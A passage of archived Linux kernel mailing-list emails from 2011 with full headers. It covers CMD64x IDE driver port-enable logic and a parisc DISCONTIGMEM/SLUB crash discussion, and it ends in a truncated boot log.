References: <1303152147.7167.12.camel@mulgrave.site>	 <20110418205203.56bbdb14@lxorguk.ukuu.org.uk>	 <1303159802.7167.30.camel@mulgrave.site>	 <20110418222017.4e77fe05@lxorguk.ukuu.org.uk>	 <4DADF798.6010705@ru.mvista.com>	 <20110419221900.67528a07@lxorguk.ukuu.org.uk>	 <4DADFD2E.9070809@ru.mvista.com>	 <20110419222838.6a6f36aa@lxorguk.ukuu.org.uk>	 <1303254709.11237.34.camel@mulgrave.site>  <4DAEAF9A.1020704@ru.mvista.com> <1303309698.2587.10.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
	format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1303311386 7149 80.91.229.12 (20 Apr 2011 14:56:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 14:56:26 +0000 (UTC)
Cc: Sergei Shtylyov <sshtylyov@mvista.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 16:56:22 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCYpJ-0005Wn-5T
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 16:56:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752787Ab1DTO4U convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 10:56:20 -0400
Original-Received: from mail-ww0-f44.google.com ([74.125.82.44]:47515 "EHLO
	mail-ww0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753468Ab1DTO4U (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 10:56:20 -0400
Original-Received: by wwa36 with SMTP id 36so976879wwa.1
        for <multiple recipients>; Wed, 20 Apr 2011 07:56:19 -0700 (PDT)
Original-Received: by 10.216.87.131 with SMTP id y3mr1016315wee.3.1303311378682;
        Wed, 20 Apr 2011 07:56:18 -0700 (PDT)
Original-Received: from [192.168.2.2] ([91.79.100.253])
        by mx.google.com with ESMTPS id ed10sm623473wbb.15.2011.04.20.07.56.16
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 20 Apr 2011 07:56:17 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9
In-Reply-To: <1303309698.2587.10.camel@mulgrave.site>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3619 gmane.linux.ide:49361
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3619>

Hello.

On 20-04-2011 18:28, James Bottomley wrote:

>>> +		dev_printk(KERN_NOTICE,&pdev->dev, "Mobility Bridge detected, ig=
noring CNTRL port enable/disable\n");
>>> +	/* 643 and 646 no UDMA, primary port always enabled */
>>> +	if (port_ok&&  id->driver_data>  1&&   !(reg&  CNTRL_PRIMARY)) {

    This should probably be:

	if (port_ok && !(id->driver_data =3D=3D 0 || id->driver_data =3D=3D 1 =
&&
	    pdev->revision < 3) && !(reg & CNTRL_PRIMARY)) {

>>      PCI0646U and later revisions on PCI0646 do have the primary por=
t enable
>> bit. The same about UltraDMA -- PCI0646U2 has it. Look at what cmd64=
x does in
>> cmd64x_init_one()...

> Where?  All I see in drivers/ide/cmd64x.c is that it only ignores the
> primary for the id->driver_data =3D=3D 0 case, which is what I origin=
ally
> coded.

    Hm, are we looking at the same driver?

static const struct ide_port_info cmd64x_chipsets[] __devinitdata =3D {
	{	/* 0: CMD643 */
		.name		=3D DRV_NAME,
		.init_chipset	=3D init_chipset_cmd64x,
		.enablebits	=3D {{0x00,0x00,0x00}, {0x51,0x08,0x08}},
		.port_ops	=3D &cmd64x_port_ops,
		.host_flags	=3D IDE_HFLAG_CLEAR_SIMPLEX |
				  IDE_HFLAG_ABUSE_PREFETCH |
				  IDE_HFLAG_SERIALIZE,
		.pio_mask	=3D ATA_PIO5,
		.mwdma_mask	=3D ATA_MWDMA2,
		.udma_mask	=3D 0x00, /* no udma */
	},
	{	/* 1: CMD646 */
		.name		=3D DRV_NAME,
		.init_chipset	=3D init_chipset_cmd64x,
		.enablebits	=3D {{0x51,0x04,0x04}, {0x51,0x08,0x08}},
		.port_ops	=3D &cmd648_port_ops,
		.host_flags	=3D IDE_HFLAG_ABUSE_PREFETCH |
				  IDE_HFLAG_SERIALIZE,
		.pio_mask	=3D ATA_PIO5,
		.mwdma_mask	=3D ATA_MWDMA2,
		.udma_mask	=3D ATA_UDMA2,
	},
	{	/* 2: CMD648 */
		.name		=3D DRV_NAME,
		.init_chipset	=3D init_chipset_cmd64x,
		.enablebits	=3D {{0x51,0x04,0x04}, {0x51,0x08,0x08}},
		.port_ops	=3D &cmd648_port_ops,
		.host_flags	=3D IDE_HFLAG_ABUSE_PREFETCH,
		.pio_mask	=3D ATA_PIO5,
		.mwdma_mask	=3D ATA_MWDMA2,
		.udma_mask	=3D ATA_UDMA4,
	},
	{	/* 3: CMD649 */
		.name		=3D DRV_NAME,
		.init_chipset	=3D init_chipset_cmd64x,
		.enablebits	=3D {{0x51,0x04,0x04}, {0x51,0x08,0x08}},
		.port_ops	=3D &cmd648_port_ops,
		.host_flags	=3D IDE_HFLAG_ABUSE_PREFETCH,
		.pio_mask	=3D ATA_PIO5,
		.mwdma_mask	=3D ATA_MWDMA2,
		.udma_mask	=3D ATA_UDMA5,
	}
};

static int __devinit cmd64x_init_one(struct pci_dev *dev, const struct=20
pci_device_id *id)
{
	struct ide_port_info d;
	u8 idx =3D id->driver_data;

	d =3D cmd64x_chipsets[idx];

	if (idx =3D=3D 1) {
		/*
		 * UltraDMA only supported on PCI646U and PCI646U2, which
		 * correspond to revisions 0x03, 0x05 and 0x07 respectively.
		 * Actually, although the CMD tech support people won't
		 * tell me the details, the 0x03 revision cannot support
		 * UDMA correctly without hardware modifications, and even
		 * then it only works with Quantum disks due to some
		 * hold time assumptions in the 646U part which are fixed
		 * in the 646U2.
		 *
		 * So we only do UltraDMA on revision 0x05 and 0x07 chipsets.
		 */
		if (dev->revision < 5) {
			d.udma_mask =3D 0x00;
			/*
			 * The original PCI0646 didn't have the primary
			 * channel enable bit, it appeared starting with
			 * PCI0646U (i.e. revision ID 3).
			 */
			if (dev->revision < 3) {
				d.enablebits[0].reg =3D 0;
				d.port_ops =3D &cmd64x_port_ops;
				if (dev->revision =3D=3D 1)
					d.dma_ops =3D &cmd646_rev1_dma_ops;
			}
		}
	}

	return ide_pci_init_one(dev, &d, NULL);
}

static const struct pci_device_id cmd64x_pci_tbl[] =3D {
	{ PCI_VDEVICE(CMD, PCI_DEVICE_ID_CMD_643), 0 },
	{ PCI_VDEVICE(CMD, PCI_DEVICE_ID_CMD_646), 1 },
	{ PCI_VDEVICE(CMD, PCI_DEVICE_ID_CMD_648), 2 },
	{ PCI_VDEVICE(CMD, PCI_DEVICE_ID_CMD_649), 3 },
	{ 0, },
};
MODULE_DEVICE_TABLE(pci, cmd64x_pci_tbl);

    "=C3=AFdx =3D=3D 1" corresponds to PCI0646. See this "dev->revision=
 < 3" check=20
(this is true for the original PCI0646), where it then zeroes the 'reg'=
 field=20
of 'enablebits' to disable its checking?

> James

WBR, Sergei
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 10:02:59 -0500
Lines: 60
Approved: news@gmane.org
Message-ID: <1303311779.2587.19.camel@mulgrave.site>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com>
	 <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com>
	 <20110420161615.462D.A69D9226@jp.fujitsu.com>
	 <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
	 <20110420112020.GA31296@parisc-linux.org>
	 <BANLkTim+m-v-4k17HUSOYSbmNFDtJTgD6g@mail.gmail.com>
	 <1303308938.2587.8.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104200943580.9266@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303311796 9593 80.91.229.12 (20 Apr 2011 15:03:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 15:03:16 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Matthew Wilcox <matthew@wil.cx>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>,
	Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>,
	linux-arch@vger.kernel.org, Mel Gorman <mel@csn.ul.ie>
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 17:03:09 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCYvs-0003Qn-9c
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 17:03:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752227Ab1DTPDH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 11:03:07 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44397 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751020Ab1DTPDF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 11:03:05 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DDD108EE0A4;
	Wed, 20 Apr 2011 08:03:02 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7K5nSBaOhpxc; Wed, 20 Apr 2011 08:03:02 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 917FF8EE01D;
	Wed, 20 Apr 2011 08:03:01 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104200943580.9266@router.home>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3620 gmane.linux.kernel.mm:61696 gmane.linux.kernel:1129050 gmane.linux.kernel.cross-arch:9628
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3620>

On Wed, 2011-04-20 at 09:50 -0500, Christoph Lameter wrote:
> On Wed, 20 Apr 2011, James Bottomley wrote:
> 
> >      1. We can look at what imposing NUMA on the DISCONTIGMEM archs
> >         would do ... the embedded ones are going to be hardest hit, but
> >         if it's not too much extra code, it might be palatable.
> >      2. The other is that we can audit mm to look at all the node
> >         assumptions in the non-numa case.  My suspicion is that
> >         accidentally or otherwise, it mostly works for the normal case,
> >         so there might not be much needed to pull it back to working
> >         properly for DISCONTIGMEM.
> 
> The older code may work. SLAB f.e. does not call page_to_nid() in the
> !NUMA case but keeps special metadata structures around in each slab page
> that records the node used for allocation. The problem is with new code
> added/revised in the last 5 years or so that uses page_to_nid() and
> allocates only a single structure for !NUMA. There are also VM_BUG_ONs in
> the page allocator that should trigger if page_to_nid() returns strange
> values. I wonder why that never occurred.

Actually, I think slab got changed when discontigmem was added ...
that's why it all works OK.

> >      3. Finally we could look at deprecating DISCONTIGMEM in favour
> of >         SPARSEMEM, but we'd still need to fix -stable for that case.
> >         Especially as it will take time to convert all the architectures
> 
> The fix needed is to mark DISCONTIGMEM without NUMA as broken for now. We
> need an audit of the core VM before removing that or making it contingent
> on the configurations of various VM subsystems.

Don't be stupid ... that would cause six architectures to get marked
broken.

> > I'm certainly with Matthew: DISCONTIGMEM is supposed to be a lightweight
> > framework which allows machines with split physical memory ranges to
> > work.  That's a very common case nowadays.  Numa is supposed to be a
> > heavyweight framework to preserve node locality for non-uniform memory
> > access boxes (which none of the DISCONTIGMEM && !NUMA systems are).
> 
> Well yes but we have SPARSE for that today. DISCONTIG with multiple per
> pgdat structures in a !NUMA case is just weird and unexpected for many who
> have done VM coding in the last years.

Look, I'm not really interested in who understands what.  The fact is we
have six architectures with the possibility for DISCONTIGMEM && !NUMA,
so that's the case we need to fix in -stable.

They oops with SLUB, as far as I can tell, there are still no oops
reports with SLAB.  The simplest -stable fix seems to be to mark SLUB
broken on DISCONTIGMEM && !NUMA.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 10:22:04 -0500 (CDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104201018360.9266@router.home>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com>  <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com>  <20110420161615.462D.A69D9226@jp.fujitsu.com>  <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>  <20110420112020.GA31296@parisc-linux.org> 
 <BANLkTim+m-v-4k17HUSOYSbmNFDtJTgD6g@mail.gmail.com>  <1303308938.2587.8.camel@mulgrave.site>  <alpine.DEB.2.00.1104200943580.9266@router.home> <1303311779.2587.19.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303312941 17290 80.91.229.12 (20 Apr 2011 15:22:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 15:22:21 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Matthew Wilcox <matthew@wil.cx>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>,
	Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>,
	linux-arch@vger.kernel.org, Mel Gorman <mel@csn.ul.ie>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Apr 20 17:22:13 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1QCZEJ-0000jq-Oa
	for glka-linux-arch@lo.gmane.org; Wed, 20 Apr 2011 17:22:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754761Ab1DTPWK (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 20 Apr 2011 11:22:10 -0400
Original-Received: from smtp106.prem.mail.ac4.yahoo.com ([76.13.13.45]:24302 "HELO
	smtp106.prem.mail.ac4.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1754333Ab1DTPWJ (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Wed, 20 Apr 2011 11:22:09 -0400
Original-Received: (qmail 48519 invoked from network); 20 Apr 2011 15:22:08 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp106.prem.mail.ac4.yahoo.com with SMTP; 20 Apr 2011 08:22:08 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: uEAmpKYVM1m4cbtGmMfVXGigaTgGU9Xa4IhPgxXiKvHamXM
 q7KcVzb8XMicqrEjMqxptLTsbr7Gzhkn1v8BaGXjcsXToz1WSgBMd5onfLVX
 cv.kQYENY0awKfJAm7iLp7NicQ4Bl4ialUz6KXW5qkInJ489eroHbzABZSoE
 fCvfCpfq5iK7LdYyAXA3C8VVXoPCxWSpDFNOjqchcN77IV3fjEk12.zO5uw3
 vqAStBJUp4D3Xolgmf0jR6AFKqtIhainkHArx225S.Up.ZfLycPkgVOGgjxr
 k9ZXtRzHnvqRRe8Olhzby4l7XMq52yIeAeYeDOKWLky9FoZzL
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCZEF-0002on-Tg; Wed, 20 Apr 2011 10:22:07 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303311779.2587.19.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:9629 gmane.linux.kernel.mm:61698 gmane.linux.kernel:1129064 gmane.linux.ports.parisc:3621
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/9629>

On Wed, 20 Apr 2011, James Bottomley wrote:

> > The older code may work. SLAB f.e. does not call page_to_nid() in the
> > !NUMA case but keeps special metadata structures around in each slab page
> > that records the node used for allocation. The problem is with new code
> > added/revised in the last 5 years or so that uses page_to_nid() and
> > allocates only a single structure for !NUMA. There are also VM_BUG_ONs in
> > the page allocator that should trigger if page_to_nid() returns strange
> > values. I wonder why that never occurred.
>
> Actually, I think slab got changed when discontigmem was added ...
> that's why it all works OK.

Could be. I was not around at the time.

> > >      3. Finally we could look at deprecating DISCONTIGMEM in favour
> > of >         SPARSEMEM, but we'd still need to fix -stable for that case.
> > >         Especially as it will take time to convert all the architectures
> >
> > The fix needed is to mark DISCONTIGMEM without NUMA as broken for now. We
> > need an audit of the core VM before removing that or making it contingent
> > on the configurations of various VM subsystems.
>
> Don't be stupid ... that would cause six architectures to get marked
> broken.

Yes they are broken right now. Marking just means showing the user that we
are aware of the situation.

> Look, I'm not really interested in who understands what.  The fact is we
> have six architectures with the possibility for DISCONTIGMEM && !NUMA,
> so that's the case we need to fix in -stable.
>
> They oops with SLUB, as far as I can tell, there are still no oops
> reports with SLAB.  The simplest -stable fix seems to be to mark SLUB
> broken on DISCONTIGMEM && !NUMA.

There is barely any testing going on at all of this since we have had this
issue for more than 5 years and have not noticed it. The absence of bug
reports therefore proves nothing. Code inspection of the VM shows
that this is an issue that arises in multiple subsystems and that we have
VM_BUG_ONs in the page allocator that should trigger for these situations.

Usage of DISCONTIGMEM and !NUMA is not safe and should be flagged as such.


From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 11:32:58 -0500
Lines: 158
Approved: news@gmane.org
Message-ID: <1303317178.2587.30.camel@mulgrave.site>
References: <20110420161615.462D.A69D9226@jp.fujitsu.com>
	 <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
	 <20110420174027.4631.A69D9226@jp.fujitsu.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303317200 12158 80.91.229.12 (20 Apr 2011 16:33:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 16:33:20 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Christoph Lameter <cl@linux.com>, 
 Michal Hocko <mhocko@suse.cz>, Andrew Morton <akpm@linux-foundation.org>,
 Hugh Dickins <hughd@google.com>,  linux-mm@kvack.org, LKML
 <linux-kernel@vger.kernel.org>,  linux-parisc@vger.kernel.org, David
 Rientjes <rientjes@google.com>, Ingo Molnar <mingo@elte.hu>, x86
 maintainers <x86@kernel.org>
To: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Original-X-From: owner-linux-mm@kvack.org Wed Apr 20 18:33:11 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCaL0-0001HW-Bb
	for glkm-linux-mm-2@m.gmane.org; Wed, 20 Apr 2011 18:33:10 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 84F5B8D0040; Wed, 20 Apr 2011 12:33:08 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 4D1038D003B; Wed, 20 Apr 2011 12:33:07 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 009F98D0040; Wed, 20 Apr 2011 12:33:06 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail172.messagelabs.com (mail172.messagelabs.com [216.82.254.3])
	by kanga.kvack.org (Postfix) with SMTP id 49C5F8D003B
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 12:33:05 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: James.Bottomley@HansenPartnership.com
X-Msg-Ref: server-12.tower-172.messagelabs.com!1303317183!71440711!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [66.63.167.143]
X-SpamReason: No, hits=0.5 required=7.0 tests=BODY_RANDOM_LONG
Original-Received: (qmail 30894 invoked from network); 20 Apr 2011 16:33:03 -0000
Original-Received: from bedivere.hansenpartnership.com (HELO bedivere.hansenpartnership.com) (66.63.167.143)
  by server-12.tower-172.messagelabs.com with SMTP; 20 Apr 2011 16:33:03 -0000
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 1A4F78EE0A4;
	Wed, 20 Apr 2011 09:33:03 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Cgs0+16OoiC8; Wed, 20 Apr 2011 09:33:02 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9397F8EE01D;
	Wed, 20 Apr 2011 09:33:00 -0700 (PDT)
In-Reply-To: <20110420174027.4631.A69D9226@jp.fujitsu.com>
X-Mailer: Evolution 2.32.1 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61701 gmane.linux.kernel:1129104 gmane.linux.ports.parisc:3622
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61701>

On Wed, 2011-04-20 at 17:40 +0900, KOSAKI Motohiro wrote:
> > > btw, x86 don't have an issue. Probably it's a reason why this issue was neglected
> > > long time.
> > >
> > > arch/x86/Kconfig
> > > -------------------------------------
> > > config ARCH_DISCONTIGMEM_ENABLE
> > >        def_bool y
> > >        depends on NUMA && X86_32
> > 
> > That part makes me think the best option is to make parisc do
> > CONFIG_NUMA as well regardless of the historical intent was.
> > 
> >                         Pekka
> 
> This?

I'm afraid it doesn't boot (it's another slub crash):

[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Linux version 2.6.39-rc3+ (jejb@ion) (gcc version 4.2.4 (Debian 4.2.4-6)) #30 SMP Wed Apr 20 08:52:23 PDT 2011
[    0.000000] unwind_init: start = 0x4057a000, end = 0x405b0e80, entries = 14056
[    0.000000] WARNING: Out of order unwind entry! 000000004057b470 and 000000004057b480
[    0.000000] WARNING: Out of order unwind entry! 000000004057b480 and 000000004057b490
[    0.000000] WARNING: Out of order unwind entry! 000000004057c160 and 000000004057c170
[    0.000000] WARNING: Out of order unwind entry! 000000004057c170 and 000000004057c180
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00008870 00000491 00000000 00000002 3e0505e7352af710 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000301
[    0.000000] CPUID vers 20 rev 4 (0x00000284)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/800/rp3440  
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
[    0.000000] Total Memory: 2046 MB
[    0.000000] initrd: 7f390000-7ffedaa1
[    0.000000] initrd: reserving 3f390000-3ffedaa1 (mem_max 7fe00000)
[    0.000000] PERCPU: Embedded 10 pages/cpu @00000000418f5000 s12288 r8192 d20480 u40960
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 2 zonelists in Node order, mobility grouping on.  Total pages: 258560
[    0.000000] Policy zone: Normal
[    0.000000] Kernel command line:  root=/dev/sda3 panic=5 console=ttyS1 palo_kernel=1/vmlinux-test
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Memory: 2042228k/2095104k available (3849k kernel code, 52876k reserved, 1661k data, 324k init)
[    0.000000] virtual kernel memory layout:
[    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[    0.000000]     memory  : 0x0000000040000000 - 0x00000040bfe00000   (264190 MB)
[    0.000000]       .init : 0x000000004077c000 - 0x00000000407cd000   ( 324 kB)
[    0.000000]       .data : 0x00000000404c2518 - 0x0000000040661920   (1661 kB)
[    0.000000]       .text : 0x0000000040100000 - 0x00000000404c2518   (3849 kB)
[    0.000000] SLUB: Genslabs=11, HWalign=64, Order=0-3, MinObjects=0, CPUs=8, Nodes=8
[    0.000000] Hierarchical RCU implementation.
[    0.000000]  CONFIG_RCU_FANOUT set to non-default value of 32
[    0.000000]  RCU-based detection of stalled CPUs is disabled.
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.000000] numa_policy_init: interleaving failed
[    0.000000] Calibrating delay loop... 1594.36 BogoMIPS (lpj=3188736)
[    0.048000] pid_max: default: 32768 minimum: 301
[    0.048000] Security Framework initialized
[    0.048000] SELinux:  Disabled at boot.
[    0.060000] Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
[    0.072000] Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
[    0.076000] Mount-cache hash table entries: 256
[    0.076000] Initializing cgroup subsys ns
